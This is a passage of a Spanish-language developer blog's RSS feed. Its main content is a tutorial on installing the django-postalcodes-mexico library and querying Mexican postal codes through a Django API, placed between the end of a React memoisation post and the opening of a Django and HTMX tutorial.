cambian.&lt;/li&gt;&#xA;&lt;li&gt;Componentes muy voluminosos que tienen un impacto muy grande en el rendimiento.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Recuerda revisar mi entrada donde combino este &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/react/react-memo-usememo-y-usecallback-para-evitar-renderizaciones-en-react/&#34;&gt;memo y useCallback para evitar renderizaciones en React.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Consulta la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://es.reactjs.org/docs/hooks-reference.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación oficial de los hooks de React&lt;/a&gt;&#xA; si quieres profundizar más en el tema.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Las funciones useCallback, useMemo y memo se usan para optimizar aplicaciones de React usando memoización, evitando renderizaciones inútiles, cada uno con sus diferencias, similitudes y casos de uso. Estas tres funciones no deben ser usadas de manera indiscriminada, sino exclusivamente en aquellas situaciones en las que su impacto sea menor que los beneficios que ofrecen.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message error&#34;&gt;&#xA;    &#xA;    &#xA;    A partir de React 19 todos estos hooks quedan obsoletos, por lo que solamente utiliza este post a manera de referencia para versiones legacy de React, por favor no implementes estos hooks en tu aplicación&#xA;&lt;/p&gt;</summary>
    </item>
    
    
    <item>
      <title>API códigos postales de Mexico con Django</title>
      <link>https://coffeebytes.dev/es/django/api-codigos-postales-de-mexico-con-django/</link>
      <pubDate>Thu, 22 Jul 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/api-codigos-postales-de-mexico-con-django/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;¿Necesitas obtener los datos asociados a un código postal de México para tu aplicación de Django? Tengo una pequeña librería llamada &lt;strong&gt;django-postalcodes-mexico&lt;/strong&gt; que descarga los códigos postales de SEPOMEX y crea un API endpoint que te permite consultar un código postal de México y recibir las colonias que pertenecen a ese código postal, así como su estado y municipio.&lt;/p&gt;&#xA;&lt;p&gt;Si vas a desarrollar una API REST, tengo una entrada con múltiples &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;recomendaciones sobre diseño de APIs REST&lt;/a&gt;&#xA; que pueden servirte.&lt;/p&gt;&#xA;&lt;p&gt;Para este ejemplo uso Python 3.8, Django 3.2.5 y Pipenv version 2020.5.28&lt;/p&gt;&#xA;&lt;h2 id=&#34;instalacion&#34;&gt;Instalación&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Para instalarla vamos a usar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/pipenv-el-administrador-de-entornos-virtuales-que-no-conoces/&#34;&gt;Pipenv&lt;/a&gt;&#xA;, pero puedes usar Poetry, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/python-virtualenv-tutorial-basico-en-linux/&#34;&gt;pip&lt;/a&gt;&#xA; o cualquier otro gestor de entornos virtuales.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install django-postalcodes-mexico django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startproject codigosPostalesMx .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A continuación instalamos el paquete agregándolo a INSTALLED_APPS en nuestro archivo de configuración.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;INSTALLED_APPS&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django_postalcodes_mexico.apps.DjangoPostalcodesMexicoConfig&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ejecutamos las migraciones. Esto creará las tablas que se necesitan para manejar los códigos postales.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;obteniendo-los-codigos-postales-de-mexico-de-sepomex&#34;&gt;Obteniendo los códigos postales de México de SEPOMEX&lt;/h2&gt;&#xA;&lt;p&gt;Ya que se crearon las tablas vamos a instalar los códigos postales de México directo de la página de SEPOMEX con un solo comando de Django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py importpostalcodesmx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Trying to connect to Mexican Postal Service &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;Correos de Mexico&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Response received&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;This process can take a few minutes, please be patient&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Creating database...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;The postal code database has been successfully populated&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Es todo, ahora basta con importar include y agregar nuestras urls. Yo le coloqué la ruta &lt;em&gt;api/&lt;/em&gt; pero puedes usar la que tu quieras.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;from django.contrib import admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;from django.urls import path, include&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;from django_postalcodes_mexico import urls as django_postalcodes_mexico_urls&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;urlpatterns&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;api/&amp;#39;&lt;/span&gt;, include&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;django_postalcodes_mexico_urls&lt;span style=&#34;color:#ff6ac1&#34;&gt;))&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;obteniendo-informacion-de-un-codigo-postal&#34;&gt;Obteniendo información de un código postal&lt;/h2&gt;&#xA;&lt;p&gt;Si ahora realizamos una petición &lt;em&gt;api/09000/&lt;/em&gt; o cualquier otro código postal de 5 dígitos vamos a recibir una respuesta en JSON con el municipio, el estado y una lista de colonias.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/api/09000/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;codigoPostal&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;09000&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;municipio&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Iztapalapa&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;estado&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Ciudad de M\u00e9xico&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;colonias&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;La Asunci\u00f3n&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;San Ignacio&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;San Jos\u00e9&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;San Lucas&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;San Pablo&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;San Pedro&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Santa B\u00e1rbara&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/mexico-postal-codes-api-with-django/images/Api-codigos-postales-mx.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/mexico-postal-codes-api-with-django/images/Api-codigos-postales-mx.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Resultado de consulta del código postal &amp;#34;09000&amp;#34; a la API de Django&#34; width=&#34;563&#34; height=&#34;374&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Un código postal inexistente nos devolverá un estado 404&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/mexico-postal-codes-api-with-django/images/Captura-de-pantalla-de-2021-11-17-12-15-24.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/mexico-postal-codes-api-with-django/images/Captura-de-pantalla-de-2021-11-17-12-15-24.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Código postal inexistente que devuelve un mensaje de error&#34; width=&#34;803&#34; height=&#34;168&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Mientras que un código postal inválido nos devolverá un error 400 y un mensaje de error&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/mexico-postal-codes-api-with-django/images/Codigo-postal-invalido.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/mexico-postal-codes-api-with-django/images/Codigo-postal-invalido.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Código postal inválido que devuelve un error&#34; width=&#34;960&#34; height=&#34;355&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Lee la corta &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/EduardoZepeda/django-postalcodes-mexico&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación oficial en mi repositorio de github&lt;/a&gt;&#xA; para mayor información.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;¿Necesitas obtener los datos asociados a un código postal de México para tu aplicación de Django? Tengo una pequeña librería llamada &lt;strong&gt;django-postalcodes-mexico&lt;/strong&gt; que descarga los códigos postales de SEPOMEX y crea un API endpoint que te permite consultar un código postal de México y recibir las colonias que pertenecen a ese código postal, así como su estado y municipio.&lt;/p&gt;&#xA;&lt;p&gt;Si vas a desarrollar una API REST, tengo una entrada con múltiples &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;recomendaciones sobre diseño de APIs REST&lt;/a&gt;&#xA; que pueden servirte.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Tutorial de Django y HTMX, web apps modernas sin escribir JS</title>
      <link>https://coffeebytes.dev/es/django/django-y-htmx-web-apps-modernas-sin-escribir-js/</link>
      <pubDate>Wed, 14 Jul 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/django-y-htmx-web-apps-modernas-sin-escribir-js/</guid>
      
      <category>django</category>
      
      <category>htmx</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;El otro día estaba probando una librería llamada htmx, que promete volver mucho más sencilla la creación de una web, sí, otra librería, pero con la diferencia de que esta no necesita que escribas Javascript (JS) y que, además, combina bastante bien con Django. Htmx basa todo su funcionamiento en escribir atributos en tus etiquetas HTML, que se encargan de abstraer todo el JS que corre tras bambalinas. El resultado es código formado únicamente por etiquetas HTML y sus atributos, sin código JS (bueno, quizá solo un poco). No, no tienes que abandonar todo el JS, tranquilo, también puedes combinar htmx con tus librerías favoritas y código vanilla JS.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/CW6NeEGtaJT&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/CW6NeEGtaJT&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                